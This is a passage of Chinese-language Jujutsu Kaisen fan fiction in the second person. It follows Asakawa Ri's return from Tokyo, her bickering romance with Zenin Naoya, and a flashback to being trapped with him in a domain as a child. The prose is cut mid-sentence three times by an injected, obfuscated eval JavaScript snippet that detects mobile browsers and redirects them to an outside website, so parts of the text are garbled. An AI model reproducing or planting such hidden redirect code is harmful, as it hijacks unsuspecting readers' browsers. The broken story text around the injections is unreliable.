打探别人的身世是一件有些冒昧的事情,但是在场的毕竟都是咒术师,除了极个别术师外,大部分咒术师都有一点点行为怪异,所以你也没觉得她不礼貌,直接回答:“不是哦,我的父母都是日本人。” 你不知道父亲是谁,但是姓氏为浅川,大概是日本人吧。 其实你并不完全确定,毕竟‘浅川’也可能是你母亲随口胡诌的,你知道外公知道的更多,但是他似乎在闭眼前不打算告诉你,每次你问起他都会生硬转移话题,总之就是很不爱提你父母,提了就垮脸。 你们四人都是年轻的少男少女,三轮又是非常友善的性格,很快你们之间的微妙隔阂就消失了,因为野蔷薇他们还需要买好几罐饮料,你和三轮站在边上等待,顺便和他们闲聊。 “你们要买那么多做什么用?”你好奇地看向伏黑惠手里的袋子,里面已经有好几罐碳酸饮料了。 “帮二年级的学姐跑腿。”野蔷薇机械重复按钮取货的动作,“麻烦死了,也不多装几台机器,出货还那么慢。” “学校一共也就那么几个人,不可能有更多机器吧。”伏黑惠在边上吐槽了她一句,然后接过她递来的饮料放进袋子。 你能感觉到伏黑惠其实也在看你,偷偷看。 这也很正常,世界不是封闭的,信息是流通的,伏黑惠一定听说过你,毕竟禅院许多人都把你当作了未来的女主人,伏黑惠虽然早已离开禅院家,但是为办理一些社会文书之类的事情还是回去过禅院(所以他一定也知道真依)。 同时你也捕捉到了野蔷薇口中的信息:帮二年级的学姐跑腿。 二年级的学姐只有一人:禅院真希,也就是你学妹的双胞胎姐姐。 虽然日本本来就有前后辈文化,但是高专生其实更像独立的同事关系,你就从来没有使唤过真依和三轮跑腿(当然前者只会让你碰一鼻子灰)。想到直哉那个颐指气使别人的样子,你稍微在脑内整合了一下,幻想出了一个戴眼镜版本的金发真依喊野蔷薇跑腿的诡异模样。 你晃晃脑袋,驱散这个怪异的画面。 大约又等了五分钟,他俩完成了碳酸饮料的采购,然后礼貌地和你俩道别。 他们走远后还有声音传来。 野蔷薇:京都校的人看起来很可亲嘛,那个浅川学姐长得和游戏建模一样…… 惠:喂…这个距离人家能听到。 野蔷薇:干嘛!你不也看呆了吗? 惠:……别胡说!! 你习惯了被人夸奖美貌,所以也并没有将他们的话放在心上,不过你和野蔷薇的想法接近,你也觉得东京校的人看起来很好相处,野蔷薇是爽朗的妹妹,惠又是很有礼貌的孩子,那个虎杖…… 想到他俩的同班同学虎杖已经死亡,你也感觉到了一丝可惜,但是因为这件事并不是你外公做的,你又立刻将它挥之脑后了。 咒术师很少为同伴的死亡痛哭流涕,更何况宿傩容器并不你的伙伴。 你们买了茶水(挑选了无糖的)后散步一般地回去,到了会议室门口发现夜蛾校长已经到了,正在里面和你外公谈话。 因为他们明显已经在谈正事,于是你们干脆没进会议室,坐在外间继续聊着女孩的话题,说着说着你们都有点渴了,就一人打开一罐茶水咕嘟咕嘟,完全忽略了你们只买了两罐的事实。 非常好,你的外公又一次喝不上茶,你真是太孝顺了! …… 会晤大约在傍晚完成,如果不留下来用饭,当日返回京都时间也是绰绰有余。 夜蛾校长挽留了你的外公,但是你外公以老年人晚上吃不下东西这个理由婉拒了,所以你们会搭乘晚间的新干线回京都。 你给直哉发了信息,他强烈要求你坐他的车回去,你当然拒绝。 然后他立刻打了电话给你,在电话里指责你没有良心,让他一人在附近闲逛了一天不说,连回程都不愿意和他一起,他言辞激烈地问你是不是对他腻味了,或者是在东京校遇到了什么DK(男高中生)。 你心里无语了一下,还是耐心和他解释:因为和三轮讨论某个电视剧正在兴头上,所以还想继续和她聊,不过晚上可以回禅院睡。 他的满腔怒火在听到你最后的那句话后戛然而止。 “那你回了京都立刻去禅院,不许骗我,不然晚上我就来找你。”电话里直哉的声音有些闷,但是你觉得他在窃喜。 “直哉,不要用鬼一样的语气说话。”你叹气,心说拜托能不能健康一点,正常一点啊!干嘛总搞得虐恋情深一样。 “呵,鬼?确实,我做鬼也不会放过你的,如果你爽约,有你好看的,哼。”直哉倒是说了真心话,他自认为是不会让你独活的那种类型,生不带来死不带去不包括你。 “那我祝福你长命百岁,千万不要变成鬼。”你本来想多怼他几句,但是因为同学们都在身边,你很快挂了电话。 在回去的路上你注意到东堂葵的制服有打斗痕迹,并不是他挨打了的意思,而是好像经历过爆衣这种战斗行为。你想起来他来东京的目的是高田妹的握手会……这家伙应该做不出在偶像面前撕开上衣这种暴行吧?那也太粉丝失格了。 禅院真依看起来倒是和平时一样冷若冰霜又带着莫名其妙的不服。 “东堂,你和人打架了吗?”你好奇,所以直接问了。 “哦?很敏锐嘛!MS.浅川!”东堂声音洪亮,他立刻认了,“是啊,下午和东京的十影交手了,打得很痛快!可惜熊猫他们来搅局打扰……真依,你也和那个一年级玩的很开心吧?” 真依明显不想被他点名,她抱着手臂‘啧’了一声:“不过是教训了一个小丫头,有什么开不开心的。无聊。” 听完他们的暴言,你和三轮面面相觑。 在你们看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055197|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来很友善的惠和野蔷薇,在和你们分开后不久后就挨揍了,虽然你俩也是京都校的,但是你们并不支持这种无缘无故打起来的行为,要“交流”不还有交流会吗? 在你的印象里,东堂葵本来就是一个战斗狂魔,他一定是早就听说了十影的大名,所以这次顺便来交手一下(你相信他来东京的主要目的还是高田妹)。 而真依…… 你望天,回忆起直哉男的一巴掌、女的一巴掌,亲近的一巴掌、不熟的一巴掌……路过的狗也来一巴掌,攻击性很强的样子。 那么多禅院的形象似乎混在了一起,你开始思考:禅院直哉、禅院真依、禅院真希,是不是都有什么欺负人的基因?虽然禅院真希只是让学妹跑腿…… ‘这样看来直哉这种男人不适合成为我孩子的爸爸,万一他的禅院基因遗传给我孩子怎么办?”你很早熟地思考起了这种未来,此刻一条广告信息发送到你的手机上,你的手机屏幕随之亮了起来。 你的手机桌面是你和直哉的合影,好像是某次你们赏花时路过的街头摄影师极力要求帮你们拍的:照片上你们都穿着休闲的和服浴衣,即使是在樱花树下合影,紧挨着你的直哉也没个笑脸,因为你穿了木屐他穿着拖鞋,所以照片里你们的身高差减少了很多,这也是你满意这张照片并设为桌面的原因。 ‘直哉还是很漂亮的。’你用手指描摹了一下手机屏幕上直哉的脸,暂时忘却了禅院的‘差性格’。 ‘伏黑同学看起来性格就很好,禅院基因也是会突变的吧?’你开始给直哉找补。 想到伏黑惠,你不由自主地想起了十种影法术,五条家的六眼自动成为了家主,那么禅院……你认为家主之位理所应当是伏黑惠的。这样的想法你未曾和直哉言明,你不想看到他气急败坏也懒得触霉头,毕竟在他心里家主之位稳稳就是他的。 其实从直哉的角度来看,禅院就像是一个公司,目前的公司所有人是他的父亲直毘人,那么他作为嫡出的少爷自然应该接管这个公司,他确实是没错的,甚至可以说很有道理。但是咒术界和商业界是不一样的。你的同学宪纪就是因为继承了赤血操术而被当作嫡子培养。在你看来,你的直哉要做禅院家主其实是不合格的,甚至直毘人叔叔都不合格,他如果识大体,应该立刻让位置给伏黑惠才对…… 你有些坏心眼地开始幻想,直哉知道你这样的想法后的炸毛模样,估计又会说不过就动手,他不会也不敢打你,但是会用力把你的脸扯开,或者揪耳朵,又或是干脆拿走你的手机举高不让你玩,反正幼稚的要命,很符合他的幼稚大少爷人设。 ‘禅院基因果然不太好啊……’你得出结论。 此时直哉发了一条语音给你。 “喂,我这边出发了,别磨磨蹭蹭的,到京都立刻和我说,车在新干线站外等你。” 心机的直哉用了你最爱的关西腔,甚至故意将发音拖得有些黏糊,简直就差对你摇尾巴了。 因为他的声音确实好听,关西腔也黏糊娇嗔,于是你彻底忘记了设想中禅院基因的缺陷,对直哉的喜爱之情又回到了比较高的数值。 你跟着外公和同学们进了新干线站,考虑到晚上可能无法好好休息,你和三轮聊了几句就打算眯一会儿,起初你只是靠着椅背,在车辆的摇晃下,你在无知觉中慢慢向她靠近…… 三轮被你倚靠着,一动也不敢动,生怕把你惊醒了,她的脸上浮现出可疑的红晕来:好幸福,浅川学姐好像银色的小猫咪,小小的、热热的、软软的,啊……好喜欢这种一本正经还冷脸的布偶猫猫。 她甚至想伸手撸一把你的头发,但是又很怕把你吵醒,于是手在虚空中抓了一下后又握拳忍住。 ‘可惜很快就要到京都了……如果新干线能故障。’三轮莫名其妙地产生了这种无厘头的想法,然后立刻慌慌张张掐断了这种危害公共安全的愿望,同时暗暗下决心,以后要多亲近可爱的浅川学姐,她人其实真的挺好的!刚才她还让校长给自己增加了勤工俭学的奖金… 17. 第 17 章 新干线回程的后半段路你在三轮的肩膀上醒了过来,你有些不好意思感觉自己麻烦到了三轮,她却红着脸说完全没关系!!! 即使你们都在一个车厢,周围也清了人,但是你的同学们还是很有素质地用班级□□谈,而不是大声喧哗。 东堂先在群里抱怨伏黑惠对他‘女人’这个问题的回答很无趣,完全没有品味。 真依却觉得伏黑惠的回答非常棒,是罕见的好男人型,目前为止所有人的回答里惠的最棒。 你也对东堂葵的那个离谱提问早有耳闻,之前他在你面前问了宪纪喜欢什么样的女人,宪纪不愿意回答,然后东堂葵还踢了宪纪的屁股一脚,这种近乎幼稚又非常亲近的行为实在是罕见,宪纪当时惊讶得眼睛都睁开了,他可能是在回忆和东堂葵的交往,怎么都不觉得他们是这么亲近的关系。 你觉得伏黑惠的回答一定不轻浮,不仅仅是因为真依这家伙都欣赏他(毕竟你对真依有着很难搞的偏见),而是他看起来就有内涵,不像直哉那样能被所有人一眼看穿。 好奇心驱使你加入对话,你在群聊里问伏黑惠回答了什么。 ‘只要有坚定的人性就可以。’东堂葵转述了他的回答并评价,“是很无趣吧?” 伏黑惠的回答排除了外貌、年龄、身材、家世、能力,仅仅只关注了人格和心灵,这确实是一个罕见的回答,特别是对于帅哥来说。 ‘哇,好棒的回答。’并不在场的西宫桃也加入了line的对话,并且同样给予肯定。 你没有再发信息,但是你也觉得伏黑惠的回答很不错,联想到你的直哉,如果是他…… 首先以直哉的傲慢,他绝对不会回答东堂葵这种涉及隐私的问题,其次你就是他喜欢的类型:年轻貌美的传统家族出生的女咒术师。所以这个问题你根本懒得去问直哉,你早就知道答案了。 你托腮,莫名有些想他,并且有一点点后悔:应该坐他车回京都的。如果在他车上,现在你可以躺在他的大腿上舒舒服服睡觉,他还会撸你的头发,头皮会感觉酥酥麻麻的,这样会更好入睡。虽然三轮也香香的,但是总感觉麻烦她很不好意思,压到她的肩膀,会让你觉得辛苦她了。 看着车窗外倒退的风景,你拍了拍自己的脸,驱散了这样的想法。 睡在直哉的大腿上是必然有巨大的代价的,毕竟你和直哉都不是吃亏的人,他付出了就一定会和你索要报答,所以不睡也罢! …… 你信守对直哉的承诺,下车就和外公及同学们告别,独自出了新干线站后就上了禅院的车。直哉应该还在路上,所以来接你的司机是平日里的那个躯俱留队的成员。 你并不知道他的名字,只知道是禅院某某,你问过直哉,直哉表示你不需要记住废物们的名号,如果需要区别,你干脆给他们编个号算了。 你当然不会做那么反派无脑还羞辱人的事情,好在直哉也只是口嗨,如果他真的用编号称呼躯俱留队的人,那么…好像也不会怎么样,目前他已经是0分了,没有下降空间。 你的直哉多少有点破罐子破摔的意味,所有人都对他差评如潮,他就干脆演都不演了,尽情展示他的论外和屑。 直哉也算是真性情吧,你想,这样的人比弯弯绕绕的人好懂很多,只能往好处想了。 你给直哉发信息,告诉他你已上车。 他立刻回了一个好,看起来是很满意。 到了禅院你就和回了自己家一样,去直哉的浴室沐浴更衣后直接去了他院落的饭厅落座,你刚坐下,他也正好回来。 看着衣着整洁神采飞扬的直哉,你本想说的‘辛苦了’之类的客套词卡在喉咙里。 直哉应该根本不辛苦,他是个非常外向的人,情绪压力都发泄给他人,去东京出差之类的估计也没受累,反正有一大群仆从,恨不得饭都帮他吃。 “呵,你倒是悠闲。”他上上下下打量着换了家居服的你,然后直接挤到你身边的位置上,凑到你的面前就很强势地搂住你,然后吧唧吧唧对着你的脸亲了好几口,你想吃饭不想被亲,自然是和猫咪不愿意互动时一样伸手去推开他的脸。 “小坏蛋!把我带去东京却完全不管我。”直哉被你推脸也是甘之如饴,他没有松开圈住你的胳膊,又开始亲你敏感的耳朵,你痒得扭成麻花,不断拍打让他停下,他却越抱越紧。 “什么啊,直哉。你不是告诉我,禅院在东京有事吗?难道是骗我的吗?”你一边躲避,一边敏锐地捕捉到了他之前的借口,并以此还击。 “是真是假你还不清楚吗?”在你面前直哉确实懒得装了,“看在你今晚过来的份上,我大度原谅你了,以后要更加恭敬听话,明白了吗?” 你觉得他是路途辛苦导致脑子混乱了,在你们的关系里,需要听话的人是他才对!听话是他存在的必要项!不过现在的当务之急是吃饭,你真的很饿了。 “我饿了,先吃饭吧,别闹了。”你说着就用手去掰开直哉的脸,“别碍事。” 直哉知道你内在有些尼禄(暴君)的性格,你说要吃饭了那就是一定要吃,如果他再打扰你吃饭,你可能会生气离开,所以他按耐住自己现在就想做的事,冷声让侍女们上晚膳。 …… 各种意义的吃饱喝足后,你躺在直哉的怀里玩手机。 他抱着你,那双修长漂亮的大手有一下没一下地卷着你的银色长发把玩,眼神却黏着在你的手机屏幕上。 “喂,阿离,为什么你加了悟君啊。”他的动态视力极强,自然发现了在你班级群下多了一个人:GOJO(五条)。 “哦,三轮要和他合影,用的是他的手机,拍好照后他把照片传给我了。”你不觉得这有什么,很淡定地回答了,本来也没想瞒着直哉。 “哈?三轮霞要合影为什么不用她的手机?即使用了悟君的,他也可以直接把照片传给三轮霞啊!”直哉完全不接受你这个说法,他警惕地微微直起身子,这让你的身体也跟着滑落。 “直哉少爷,请别乱动……”你有些不满你的人形靠垫移位,并且感觉直哉的反应有些大,“可能因为我是外公的外孙女吧?五条老师对我外公一直挺关注的,在他眼里我比三轮更有联系价值?” 在你眼里五条悟不是一个无的放矢的笨蛋,他加了你的line,在未来你外公继续躲避他的时候,他也许可以联系你来找到你的外公。你认为这可能是他的目的。 当然更有可能的是:他根本没想那么多,随便加了你和三轮中的一个发了照片,仅此而已。 毕竟合影是三轮提出来的,这并不是五条悟‘居心叵测’,当时如果不是你和三轮跑得快(虽然你只是被拖着),他人都离开了。 “是吗?最好是那样。”直哉想命令你将五条悟这个联系人删掉,但是这样实在是太幼稚而且无厘头了,虽然他很想这样做,但是他也想维持在你面前‘成熟稳重年上男友’这一其实不存在的形象。 因为脑内两个想法打架,他俊美的脸上出现了非常纠结的神色,这对他来说是真的难以选择,是爽一下删掉五条悟后被你轻视,还是隐忍不发憋出内伤但是被你尊重呢? 他需要一点安慰。 于是他突然没头没脑问了一个问题:“喂,阿离。我问你,如果悟君那家伙……突然对你千依百顺,有求必应,你是不是立刻会选他,不要我了?” 说完他就死死盯着你,希望你立刻给与否定的答案,最好附带几句‘最爱你’之类的情话,外加投怀送抱,要是能再来一次就更好了。 你愣了一下,抬头看向直哉,并且发现了他的紧绷,虽然他在刻意用随意的语气提问,但是情绪都写在他漂亮的脸上。 正常女友会立刻否认,然后搂住不安的男友撒娇安抚,最后亲亲结束,你好我好大家好。 但是你是浅川离。 你扯了扯嘴角后放下手机,琥珀色的眼睛转了转,迅速在脑中捋顺了逻辑,并且找好了反攻的角度,你学着直哉的语气,甚至带着点夸张的恍然大悟:“哈?直哉,你这个问题好奇怪哦!” 你嘴角浮现一丝微妙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055198|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意:“直哉,那么我反过来问你,如果五条老师是五条悟子,比我美丽,术式比我厉害一百倍,而且她喜欢你喜欢得不得了,对你死心塌地,同时她还是五条家唯一的嫡女……那你是不是也立刻、马上、毫不犹豫就选她,不要我了?” 你心如明镜:凭什么只许直哉假设?按照直哉那种慕颜慕强现实功利的性格,如果真的存在爱他的五条悟子,他不选她才怪呢!哼!要不安就大家一起不安,要假设就大家一起假设,凭什么只审判我? 直哉被你问得猝不及防,脸色瞬间变得精彩纷呈。他没想到你不肯接下他的问题,反而把问题抛了回去。 看着你这幅等着看他好戏的样子,他心里乱糟糟的:什么五条悟子,恶心死了!什么,什么乱七八糟的!比阿离更美丽……死心塌地爱着我?不,不对!不能被这只坏猫绕进去了。我怎么可能选别人啊,怎么可能!! 即使心声在说我除了你谁都不要,但是直哉的大少爷身份和傲慢本能无法让他直接将这样软弱的话说出口,承认你是他最重要的人?实在是太软弱了,太恶心了! 于是他恼羞成怒:“浅川离!你少胡搅蛮缠,我问的是你,你只需要回答我的问题就行了!” 你挑眉冷笑,然后随便找了个枕头又靠了下去。 他把你一把拉回到自己胸前,让你继续靠在他此刻因为情绪激动而微微发烫的胸口,吵架(争论?)归吵架,该有的福利他一点也不想放弃。 “你不愿意回答我的问题,直哉你肯定是心虚了。”你靠在他的身上,慢条斯理地回答他,“如果真的有五条悟子,你肯定选她,对不对?” “我没有!那种假设根本不存在!” “那你的假设也不存在啊!五条悟不会是女的,他也不会听我的话!他怎么可能对我千依百顺啊?脑子坏了吗?” “那如果是真的呢!”直哉感觉快被你气炸了,他执拗地想听到你的回答,听你说不会离开他,听你说他是唯一,只要一句话就好! “那如果五条悟子也是真的存在的呢!?”你知道直哉想听什么,但是你没有说的义务! 你俩就像幼稚园小朋友或者小学生,围绕着根本不存在的两种‘如果’吵得面红耳赤,逻辑也越来越混乱,这种争辩根本不可能有任何结果,到最后又是直哉心机使用自己漂亮的脸蛋示弱,然后你心软了,亲了亲他秀气的鼻子,怜爱之心不知不觉中拉满。 在你的面前,直哉最大的底牌就是他漂亮的脸,他知道你吃哪一套并熟练运用。 等到深夜你昏昏沉沉入睡后,他喘着气拿起你的手机,熟练打开五条悟的对话框,手指在删除键上徘徊。 删除、返回,删除、返回。 他来来回回按了好几次,内心活动丰富:不行,不能删。删了不就显得我很在意,很……幼稚吗?为了悟君的一张照片就失态?不行,绝对不行!我可是禅院直哉!而且,她看起来很坦然的样子,说明她根本没当回事,我要是过度反应,反而显得很奇怪,说不定还会被她嘲笑。可是,真的好想删掉啊!看着就火大! 最后他也没敢真的把五条悟删了。 并不是他害怕你醒来后的雷霆之怒,按照他对你的了解,你其实根本不会太生气,可能就是‘哦’一声,然后嘲讽他几句幼稚。 他是真的很想在你面前能维持一个年上稳重可靠的形象,有余裕的二十七岁男人应该不会做这样幼稚的事情吧?毕竟你和五条悟的聊天记录只有两段:他来发照片,你说收到谢谢。 黑夜中,他烦躁地丢开你的手机,然后转而看向你的脸。 和纸透光,即使屋内熄灯,他还是能借着屋外的光隐隐约约看清你姣好面庞的轮廓,他用手指虚虚地描摹了一下你的鼻子和嘴唇,然后骂你。 “该死的坏猫,一天到晚就知道搞事、搞事、搞事!” 考虑到你们都是咒术师,确实是有死亡的可能性,而且世界上还有咒言这种东西。骂完你,直哉沉默了一下。 “呸呸呸,去掉该死,是该活的坏猫……” 18. 第 18 章 次日你们早起用膳,直哉阻止了侍女为他切开烤鱼的动作,然后超级不经意瞟你一眼。 你发现直哉最近很喜欢在你面前表演独立男性,可能是大少爷衣来伸手饭来张口久了,突然想秀一下自己的动手能力,这大概就是缺什么炫什么。 你不可能因为他这样的二十七岁成年男人自己切割鱼肉就夸奖他“真棒”,所以你专心吃自己的。 直哉见你没有什么反应也觉得无趣,他打开桌上的禅院家的邸报,看着看着冷笑一声,口称废物、垃圾、白痴。 你好奇看他:这人大清早又在骂谁? “分家的人在网上炫富,然后真的被绑架了,今天才被救出来,咒术师被普通人绑架…真蠢啊。”他慢条斯理地说给你听。 “哦。” 直哉似乎被这件‘蠢事’取悦到了,他的嘴角上扬,但是笑意并不达眼底,忽然他转向你,挑眉问道:“离,说起来,我们也被‘绑架’过呢,你那时候还小,应该不记得了吧?” 你正在喝牛奶,闻言身体僵硬了一瞬。 好在你经常在直哉面前说谎话,所以不自然也只是一瞬罢了。 “哈……是我六岁,你十四岁的那次吗?”你放下奶杯,又拿了餐巾擦了擦嘴角,淡定回答,“记得哦,那次多亏了有你呢,直哉哥哥。” 你故意用小时候的称呼揶揄他,你已经很久没有叫他哥哥了,起初直哉还对你的“疏远”感到挺不高兴的,但是你告诉他兄妹是不可以结婚的!他就立刻撇清:谁是你哥哥,不准叫我哥哥! “呵。”直哉似笑非笑地看着你,“你是从那时候开始变成小坏蛋的。” “直哉你在说什么,我为什么听不懂。”你并不打算认下任何指控,毕竟都已经过去了十二三年了,你现在承认也有些晚了吧…… …… 六岁的你总想跟在直哉身后。 原因无他,你想和他玩。 六岁是探索世界的初期,你厌倦了外公院子里的侍女只会陪你接抛球,也很烦各种轮番出现的老师。 前者让你感觉自己是狗,后者又一听就会,你非常渴望能有一些新奇的玩意儿出现在你枯燥乏味的生活里。 正好,你在某次御三家聚会时,在禅院的花园里认识了一个非常漂亮的大哥哥,大哥哥性格很不好,但是他实在是很漂亮,特别是天生上扬的眼线让他特别像一只漂亮的狐狸。于是爱美的你总是往禅院跑:一开始是司机送你去,后来你闭着眼睛也能找到他。 你们的故事严格意义上来说由你而起,虽然一开始你的目的真的只是想找个漂亮的玩伴罢了。 禅院直哉毕竟是禅院的嫡出小少爷,除了咒术师该学的,他还需要上外语课、钢琴课、礼仪课、政治课……一日行程满满当当,每天你只能见缝插针地和他玩一会儿,他还表现出有些的兴趣缺缺的样子,差距八岁的孩子可是天差地别,一个已经是少年,一个还是幼儿呢。 在十四岁的直哉眼里,你是一只雪团子一样可爱的银白色小猫咪,甚至都不算人。 托你确实可爱的福,他没有驱赶你,而是默许你日常出现在他的身边陪伴着他,就好像有些人上学也喜欢带上棉花娃娃一样。禅院少爷是不可以做玩娃娃那种软弱行为的,你正好弥补了这个空缺。 禅院有无数庶子和分家子也想接近你的直哉哥哥,少年的他的身边一直都是前呼后拥的,不过只有你能触碰到他,其他人给他递个铅笔盒,他都会让侍女用酒精消毒,傲慢和洁癖比成年后更甚。 因为你确实是个还没有性别意识的小不点,偶尔直哉还会留你在他房间里睡觉,你们躺在两张榻榻米上并排听着对方的心声,他会和你诉说烦恼和对禅院甚尔的崇拜,虽然当时的你并不完全理解这些情绪,但你是他感情的唯一出口:他和你一样没有母亲。他的父亲又庶子妾室如云,除了你,他不想也不能和任何人说心事。 不管入睡前你们距离多远,到了早上你的大腿必然压在他的肚子或者心口,直哉会恼怒一下,就简简单单怒了一下,他也不能真的对你做什么。十四岁少年殴打女童,说出去就很没面子,更何况你还……让他挺顺眼的。 本来就是这样平平常常轻轻松松的封建家庭大少爷vs封建家庭大小姐的日常,但是你可是浅川离! 你不会每天搞事,但是你也不会每天都不搞事。 某次你们正玩XBOX游戏机玩得热火朝天,你根本不想停下,可是禅院家某个面目严肃的管家却推门进来提醒直哉:少爷,该去做任务了。 十四岁对于咒术师来说差不多是一个起步的年龄,即使尊贵如禅院少爷,直哉也是会接到一些家族任务。虽然他并不像其他少男少女一样受制于高专体系,而是属于御三家的特别晋升渠道,但是他也不能独善其身。 闻言你立刻垮脸,失望又期待地看向直哉。 你希望他说不去了!然后继续和你在游戏里徜徉。 直哉撇了撇嘴,有些依依不舍地放下游戏手柄,在任务这件事上他注定会让你失望:他绝对会去的,不提咒术师的责任,这也是嫡子必须做的!袱除咒灵是他变强的必经之路! 你想再努力一下试试,于是你酝酿好了情绪,眼泪已经在眼眶里打转,只要他离开这个房间你就会立刻放声大哭。 直哉了解你,当然也知道这是你要闹事的前摇。 “别摆出那副样子,恶心死了。”他训斥你,少年脸颊上天生自带的可爱腮红显得更红,“一起去就是了,跟上。” “少爷,不妥啊,浅川小姐才六岁……”管家试图阻止,虽然给少爷安排的任务不可能有任何危险:浩浩荡荡一群人陪着的同时暗中还有人保护。但是眼前的‘布偶猫’毕竟是保守派大佬乐岩寺嘉伸的外孙女,她如果磕了碰了回家哭,会给禅院家添麻烦的! 直哉才不会管下人的想法,他对自己的父亲都没有多少尊敬,更别提区区一个管家,他直接拉起你的手,带着你走出和室。 你从小就可以看到咒灵,对于丑得千奇百怪的咒灵,你从未感觉到害怕。 即使是跟着直哉去祓除咒灵,你的重点也是‘等会儿可以继续一起玩’,而不是‘要见到可怕的咒灵’,你脚步轻快跟着他,蹦蹦跳跳完全是好心情。 …… 直哉是禅院的天才,所以祓除咒灵简直是信手拈来。 他只花了十分钟就解决了这个任务,禅院的非术师武装躯俱留队的护卫自然是疯狂拍马屁,三言两语之间将直哉夸成了禅院未来的太阳,继承衣钵当仁不让之类的奉承话和不要钱一样往外蹦。 直哉冷着脸,并没有沾沾自喜,倒不是他有多高的境界,只是他看不起没有咒力的人,那么他们的奉承自然也是耳旁风。 你站在稍远处,身边有一个面目慈祥的老爷爷:禅院长寿郎。他是禅院咒术师武装炳的成员,据说今年超过一百岁了,他看起来在陪着你,实际上应该是在保护你。 见咒灵被祓除了,他的任务也结束了,于是他给了你一个棒棒糖,又摸了摸你的脑袋,先行离开了。 “直哉哥哥!”你接过棒棒糖,看到是自己不喜欢的橘子味(你爱吃橘子,但是不喜欢这个口味的制品),在谢过长寿郎爷爷后,你立刻跑向直哉。 “你自己吃,我才不吃这种……”直哉的话都还没说完,嘴里已经被你跳起来塞进了棒棒糖,你一脸讨好地看着他。 “特意给你的!” “骗人!我看到了,是那老头给你的!”直哉立刻戳穿,“是你自己不爱吃吧?” 被戳穿你也不在意,只笑嘻嘻地跟在他身边,满心都是打游戏。 “回去以后可以继续玩游戏吗?”你期期艾艾地问他,你认为这把稳了:直哉已经完成了工作,还收了你的贿赂,他必然是要陪你继续玩的。 他没有马上肯定,你有些着急,拉着他的袖子:“我们快点回去玩吧?” “呵,打什么游戏,等下有弓道课。”直哉看了一下手表,“你如果觉得无聊,等下我让车先把你送回乐岩寺家。” 你想反抗直哉的决定,但是上课是铁律,你知道无法让直哉不去的…… 虽然他也没那么爱学习,但是这些都是‘嫡子’才有的课程,直哉本人认可且重视,并且将之当作他这个人的一部分,虽然他日常都很宠爱可爱的你,但是事关‘嫡庶’,‘家族’……就没得商量。 你不想回乐岩寺家,你外公肯定又出去乐队排练,或者是公务。家里永远只有只会发球让你捡的侍女姐姐和重复着超简单课程的外聘老师。 你用行动代替回答,在回程的车上你紧紧贴在直哉的身上,像寒冬腊月里窝在母鸟身下的雏鸟一样,抠都抠不出来。 直哉见你这样便让司机直接回禅院,因为你看起来完全不想回家。 你窝在少年直哉的怀里,闻着他衣服的熏香,脑内是无限循环的弹幕。 ‘不想回去、不想回去、不想回去、不想回去。’ ‘想和直哉哥哥在一起,没有老师也没有管家,想玩游戏。’ ‘禅院房子好昏暗,外公那套度假别墅更好……’ 随着强烈想法不断落下,身边的场景突然变化,你惊呼出声,并下意识伸手搂住直哉的腰。 直哉也立刻感受到了异变突生,他像夹着玩具一样紧紧用手臂箍住你,然后一脸戒备地看向四周。 “直哉哥哥!”你害怕,手脚并用地抱紧他。 此时你们已经不在禅院豪华内饰的轿车里,而是到了一个光明的、温暖的、现代的屋子里。 屋子里水和食物一应俱全,有厨房有卧室有厕所有客厅,客厅里还摆着最新款的XBOX,和禅院那台一模一样。 室内装修是美式的,暖调的家具让屋子看起来温馨又有生活氛围。 不管再温馨,这也是一个幻境,作为咒术师的直哉非常清楚这一点,他下意识觉得你俩是被诅咒师劫持了。 想到车内的其他人都是没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他小心翼翼地观察着你,同时心里也没有底:他不会反转术式,如果这只小猫真的要死了,他该怎么办? 他就在担惊受怕中洗衣做饭照顾你,你的脸色越来越白,他不安地问了好几次身体感受如何。 “我很好啊,直哉哥哥,怎么了?”你不太理解他的紧张,除了有点想外公,你没有任何不适。 “没事,你这个麻烦精……”因为他也没有解决方法,所以只能对你继续观察。 一直到第七天,直哉洗了屋内莫名其妙出现的草莓(所有食物都是这样莫名其妙的出现)给你,你刚拿起一个,突然‘哇’地一声吐出一滩鲜血,鼻子也流下了两条血印子。 “阿离!”直哉吓得直接丢开手上的一盘草莓,盘子落地却没有发出碎裂的声音。 下一秒屋内的一切如镜子破碎一样分裂、消失,屋内环境迅速褪去,你和直哉轻轻落在地上。 落地的地方就是你们‘消失’的那条国道,来不及仔细观察周围环境,直哉抱起你就朝禅院方向跑,你需要医疗! 嫡出少爷和乐岩寺家小姐一起消失一周本来就兹事体大,禅院自然也派了人在你们消失的原地盯梢,直哉才刚抱起你,就有一个炳的术师带着一群躯俱留队成员一拥而上,嘘寒问暖,慌慌张张。 直哉把这群人都骂了,然后抱着你用最快的速度冲回了禅院,在一直发动术式的情况下,他带着你跑更优于坐车,他不信任那群废物,连咒力都没有能干得好什么事? 禅院的医疗队伍强大,经过好几个医生和术师的联合诊断,他们得出的结论是你的咒力消耗过大,休息一下就好了。 管家通知了你心急如焚的外公,他应该很快就会到。 你虚弱躺在直哉卧室的榻榻米上,只觉得昏昏沉沉,很困很累,眼皮子都撑不开了。 